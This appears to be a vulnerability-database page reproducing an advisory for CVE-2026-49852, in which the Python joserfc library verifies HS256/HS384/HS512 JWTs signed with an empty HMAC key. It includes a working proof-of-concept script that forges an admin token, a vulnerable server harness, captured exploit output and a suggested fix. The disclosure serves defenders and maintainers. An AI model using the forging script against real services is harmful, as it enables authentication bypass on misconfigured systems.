CVE-2026-49852

HIGHPre-NVD 0.0
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)

Summary

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key only emits a SecurityWarning when the raw key is shorter than 14 bytes without rejecting zero-length input. Any application whose JWT secret is sourced from an unset environment variable, an unset Redis / DB row, a key finder fallback that returns "", or a Hash.new("")-style default verifies attacker tokens forged with HMAC(key=b"", signing_input) because the attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x / CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key, filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition that rejects empty keys at both sign and verify entry; joserfc has no equivalent. (The same primitive lives in the deprecated authlib.jose module by the same maintainer; filing this advisory against joserfc alongside a separate authlib advisory because the codebases are independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode with a verification key sourced from configuration is reachable. The condition that makes the bug observable is operator-side: the configured secret resolves to "" or None. Common patterns that produce this state in production:

  • OctKey.import_key(os.environ.get("JWT_SECRET", ""))
  • A key finder callable that returns "" / None for an unknown kid
  • Default values like os.getenv("SECRET") or "", cfg.get("secret", "")
  • Database / Redis row lookup that returns "" for a missing row

Vulnerable code

src/joserfc/_rfc7518/jws_algs.py:43-70:

class HMACAlgorithm(JWSAlgModel):
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

def __init__(self, sha_type, recommended=False): self.name = f"HS{sha_type}" self.description = f"HMAC using SHA-{sha_type}" self.recommended = recommended self.hash_alg = getattr(self, f"SHA{sha_type}") self.algorithm_security = sha_type

def sign(self, msg: bytes, key: OctKey) -> bytes: op_key = key.get_op_key("sign") return hmac.new(op_key, msg, self.hash_alg).digest()

def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: op_key = key.get_op_key("verify") v_sig = hmac.new(op_key, msg, self.hash_alg).digest() return hmac.compare_digest(sig, v_sig)

src/joserfc/_rfc7518/oct_key.py:52-63:

@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if len(key.raw_value) < 14:
        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

The < 14 check only warns; len(key.raw_value) == 0 falls through and is returned to the caller. HMACAlgorithm.verify then calls hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()), and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

def ensure_valid_key!(key)
  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
  raise_verify_error!('HMAC key cannot be empty') if key.empty?
end

invoked from both sign(signing_key:) and verify(verification_key:). PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0). firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a 256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the strongest existing length-warning logic but stops at < 14 bytes warn rather than == 0 reject.

How an empty JWT_SECRET reaches hmac.new

  • The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"])
where key = OctKey.import_key("") (or OctKey.import_key(b""), or any custom path that yields an OctKey whose raw_value is b""). deserialize_compact(value, key, algorithms, registry). HMACAlgorithm.verify(signing_input, signature, key).
  • verify calls key.get_op_key("verify") → returns b"".
  • hmac.new(b"", signing_input, sha256).digest() is computed; the
attacker computed exactly that digest with the same empty key, so hmac.compare_digest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
    "sub": "attacker", "admin": True,
    "iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())

Server harness:

# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server

def app(environ, start_response): auth = environ.get("HTTP_AUTHORIZATION", "") token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else "" key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = "" try: tok = jwt.decode(token, key, algorithms=["HS256"]) c = tok.claims body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode() start_response("200 OK", [("Content-Type", "text/plain")]) return [body] except Exception as e: start_response("401 Unauthorized", [("Content-Type", "text/plain")]) return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever()

End-to-end reproduction (against pip install joserfc==1.6.7)

# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret

state.

python3.12 -m venv venv ./venv/bin/pip install joserfc==1.6.7 ./venv/bin/python server.py & # listens on :8383

2. Run the attacker

./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7, poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:

Interpretation:

| Configuration | Observed | Expected | |------------------------------|-------------------------------------|----------| | JWT_SECRET unset (== "") | HTTP 200, admin=True (verified) | HTTP 401 | | JWT_SECRET = 256-bit value | HTTP 401, BadSignatureError | HTTP 401 |

The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects the same forged token with ValueError: HMAC key must not be empty.

Impact

  • Complete authentication bypass on any service whose key finder resolves
to "" / None (env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub, admin, scopes, audience, expiry).
  • The misconfiguration that triggers the bug is silent: the server does
not fail to boot, joserfc emits a single SecurityWarning ("Key size should be >= 112 bits") at OctKey.import_key time and then proceeds.
  • Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.

Suggested fix

Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard reject at len(key.raw_value) == 0, plus a defence-in-depth check in HMACAlgorithm.sign and HMACAlgorithm.verify after key.get_op_key(...):

# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if not key.raw_value:
        raise ValueError("oct key material must not be empty")
    if len(key.raw_value) < 14:
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

src/joserfc/_rfc7518/jws_algs.py

class HMACAlgorithm(JWSAlgModel): ... def sign(self, msg: bytes, key: OctKey) -> bytes: op_key = key.get_op_key("sign") if not op_key: raise ValueError("HMAC key must not be empty") return hmac.new(op_key, msg, self.hash_alg).digest()

def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool: op_key = key.get_op_key("verify") if not op_key: raise ValueError("HMAC key must not be empty") v_sig = hmac.new(op_key, msg, self.hash_alg).digest() return hmac.compare_digest(sig, v_sig)

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in prepare_key, plus the runtime length checks the underlying hmac primitive does not perform).

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch fix/hmac-reject-empty-key, base main. URL: https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

CVSS v3
EG Score
0.0(none)
EPSS
KEV
Not listed

Published

July 2, 2026

Last Modified

July 2, 2026

Vendor Advisories for CVE-2026-49852(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-02 20:07 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-49852?
CVE-2026-49852 is a high vulnerability published on July 2, 2026. joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363) Summary joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the caller-supplied verification key is the empty string or None. HMACAlgorithm.sign and HMACAlgorithm.verify in…
When was CVE-2026-49852 disclosed?
CVE-2026-49852 was first published in the National Vulnerability Database on July 2, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
How do I remediate CVE-2026-49852?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-49852, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-49852

Explore →

Is Your Infrastructure Affected by CVE-2026-49852?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.